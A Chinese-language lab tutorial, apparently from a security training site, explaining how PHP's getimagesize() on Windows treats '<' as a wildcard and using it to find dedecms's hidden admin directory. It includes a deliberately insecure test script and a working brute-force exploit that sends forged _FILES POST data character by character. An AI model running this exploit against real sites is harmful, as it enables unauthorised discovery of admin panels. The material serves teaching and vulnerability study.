【最新实验】文件判断函数的安全风险

文件判断函数的安全风险

PHP是以C语言为底层语言的通用开源脚本语言,支持几乎全部流行的数据库以及操做系统,执行效率比彻底生成HTML标记的CGI要高许多,主要适用于Web开发领域。最重要的是PHP能够用C、C++进行程序的扩展!php

全部文件操做函数都属于敏感函数,当此类函数使用不当或者不安全引用,就会致使业务逻辑上出现问题,会致使诸多安全隐患的发生,例如:任意文件下载、任意文件写入、任意文件删除等漏洞。html

如下给你们生动地讲解了文件判断函数getimagesiz可能形成的问题,并引用dedecms目录猜解实例,讲述PHP在不安全的状况下引用此类函数时形成的危害。sql

但愿老铁们经过这一波操做,了解漏洞造成原理和相似文件判断函数带来的风险,在实验环境里亲自体验一把更带感哦,跟我来开启吧!>>>>>文件函数实验传送门数据库

动手实验的目标:

  • 认识常见的PHP函数
  • 了解PHP文件判断函数风险
  • 了解文件操做可能带来的业务逻辑漏洞

所需工具:

  • Hackbar: Hackbar是Firefox火狐浏览器中的插件,该工具栏将帮助您测试sql注入,XSS漏洞和网站安全性。其主是帮助开发人员对他的代码进行安全审计。可以快速对字符串进行各类编码。

实战操做内容:

本内容主要介绍PHP部分函数,当在Windows上使用PHP时会调用一个FindFirstFileExW()的底层Windows API函数时会存在一些特性api

讲解其中一部分函数不安全使用时带来的漏洞,还将结合使用一个dedecms实例,利用PHPWindows上的特性找到其后台,以方便咱们深刻理解这些函数可能会带来的危害。浏览器

PHP语言某些函数就在Windows系统上拥有了以下奇妙的特性:安全

大于号(>)相等于通配符问号(?)

小于号(<)至关于通配符星号(*)

双引号(")至关于点字符(.)

这个特性很早以前就已经被国外的安全研人员发现curl

在PHP的getimagesize方法中就存在这个特性。函数

在PHP源码php-src\ext\standard\image.c中有该方法的具体定义:工具

...
/* {{{ proto array getimagesize(string imagefile [, array info])
   Get the size of an image as 4-element array */
PHP_FUNCTION(getimagesize)
{
    php_getimagesize_from_any(INTERNAL_FUNCTION_PARAM_PASSTHRU, FROM_PATH);
}
...

getimagesize方法中调用了php_getimagesize_from_any方法,若使用动态调试来简化整个分析过程,逐层追踪后可发现

getimagesize调用顺序以下:

PHP_FUNCTION(getimagesize)

php_getimagesize_from_any

...

tsrm_realpath_r

FindFirstFileExW

本实验动态调试不作重点说明,详细过程请参考如下连接: https://xianzhi.aliyun.com/forum/topic/2004

最终能够看见PHP的getimagesize方法最终调用了Windows API里的FindFirstFileExW()

事实上,因为PHP在语言层面并无过滤、禁止对<>这些特殊字符的使用,除getimagesize 函数外,任何调用该Windows API方法的文件判断函数均可能存在以上问题



实验内容:

本实验咱们将用一个调用了这个winapi的具体实例getimagesize函数讲解,PHP的函数在调用了这个底层winapi的方法时会存在的问题。

还将引用dedecms做为一个高级实例,当不安全引用一样使用该底层winapi的方法的getimagesize这个函数会存在的安全风险。

步骤1 本地验证getimagesize()函数

使用咱们实验中搜索工具Everything,找到咱们的phpstudy安装环境。安装PHP环境

安装完成以后咱们在C:\phpStudy\www目录下新建一个test.php文件验证getimagesize函数的特性,这个路径根据phpStudy安装路径有关,请根据实际状况而定。

接下来咱们在C:\phpStudy\www新建一个目录asdasdasd

使用咱们实验中提供的文件搜索工具Everything,输入png搜索任意一张图片,这里咱们选择1.png,放置在咱们新建的asdasdasd目录下

test.php代码以下:

<?php
$a =  $_GET['img'];
exec('pause');  
if(@getimagesize($a)){ 
    echo "ok";  
}else{
     echo "no";  
}  
?>

准备完成以后,接下来咱们访问一下test.php

访问地址http://127.0.0.1/test.php?img=C:\phpStudy\www\a<\1.png

页面返回ok,可见正常路径中本来应该是asdasdasd的目录名,被咱们使用a<代替,getimagesize利用该特性成功加载图片文件。

步骤2 dedecms后台地址猜解

下面这个例子咱们可使用本节实验中提供的脚本获取到dedecms的后台地址

这个漏洞发生在getimagesize函数中,而PHP的getimagesize方法最终也是调用了前文中讲到的Windows API里的FindFirstFileExW(),上文中也说明了这里Windows上又对<>"三个字被赋予了不一样的含义。

正是这个缘由致使了dedecms的后台可被爆破

到这里咱们仍是先看看漏洞的触发条件

dedecms中的uploadsafe.inc.php中的核心代码以下

...

if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
    $image_dd = @getimagesize($$_key); 
    
    if (!is_array($image_dd))
    {
        exit('Upload filetype not allow !');
    }
}
...

此处uploadsafe.inc.php中直接调用了getimagesize方法获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。

此时在dedecmstags.php中加载了common.inc.php文件

common.inc.php大概148行左右加载了uploadsafe.inc.php

if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}

到此咱们能够获得文件引用关系为:tags.php -> common.inc.php -> uploadsafe.inc.php -> getimagesize()

EXP分析与利用

在实验环境中会提供咱们在互联网上收集的exp访问咱们的工具库http://tools.ichunqiu.com/y688t6z4下载

咱们如今把exp中的主要代码分段讲解一下:

...

if($path) {
    while(($path = my_func($url, $path))) {
        echo strtolower($path) . "\r\n";
    }
}
else {
    for($i = 48; $i <= 90; $i++) {
        if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
            $path = my_func($url, chr($i));
            while($path) {
                echo strtolower($path) . "\r\n";
                $path = my_func($url, $path);
            }
        }
    }
}
...

这里的if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90))这段代码能够参考ascii码表就能够理解数字具体含义

就是把全部的目录可能会出现的状况0-9a-z,按位带入程序中去穷举匹配

下面的代码是整个exp的核心部分

...

function my_func($url, $path = '') {
    $ch = curl_init($url);
    $i = 48;
    global $version;

        while($i <= 90) {
            if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
                if($version != '5.7') {
                    /* v5.6版本及其如下 */
                    $admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';
                }
                else {
                    /* v5.7版本 */
                    $admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif';
                }

                $data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif';

                $options = array(
                                CURLOPT_USERAGENT => 'Firefox/58.0',
                                CURLOPT_RETURNTRANSFER => true,
                                CURLOPT_POST => true,
                                CURLOPT_POSTFIELDS => $data,
                );

                curl_setopt_array($ch, $options);

                $response = curl_exec($ch);

                if(!preg_match('/(Upload filetype not allow !)/i', $response)) {
                    $path = $path . chr($i);
                    return $path;
                }
            }

            $i++;
        }
...

这个exp就是利用了dedecms在设计时的一个小缺陷,当某个目录中存在一个图片文件时,程序会返回正确,当不存在时程序会抛出异常,提示Upload filetype not allow !

此时在dedecms的前台中能够直接调用getimagesize()方法,这时候咱们选取了dedecms的后台目录中的一个已知图片admin_top_logo.gif配合咱们进行猜解。具体参见下列代码:

$admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';

这样就能够咱们前面讲到的通配符<,来进行匹配后台地址,对后台地址逐位穷举,这就是咱们这个exp的中心思想。

具体操做以下:

将咱们下载的exp.php,放入PHP安装目录中,这里咱们放入c:\phpStudy\php53下,这个路径根据phpStudy安装路径和选择的PHP版本有关,请根据实际状况而定。

成功猜解出后台地址。

实验结果分析与总结:

  • 问题的产生的根本缘由PHP调用了Windows API里的FindFirstFileExW()/FindFirstFile()方法
  • Windows API方法对于这个三个字符作了特殊的处理
  • 感兴趣的同窗还能够根据咱们实验的思路发现其余的使用方法及漏洞。

几点思考:

  • PHP还有哪些函数在调用Windows API时会存在新的特性吗?
  • 其余调用这个Windows API的语言会出现这个特性吗?

参考地址:

相关文章
相关标签/搜索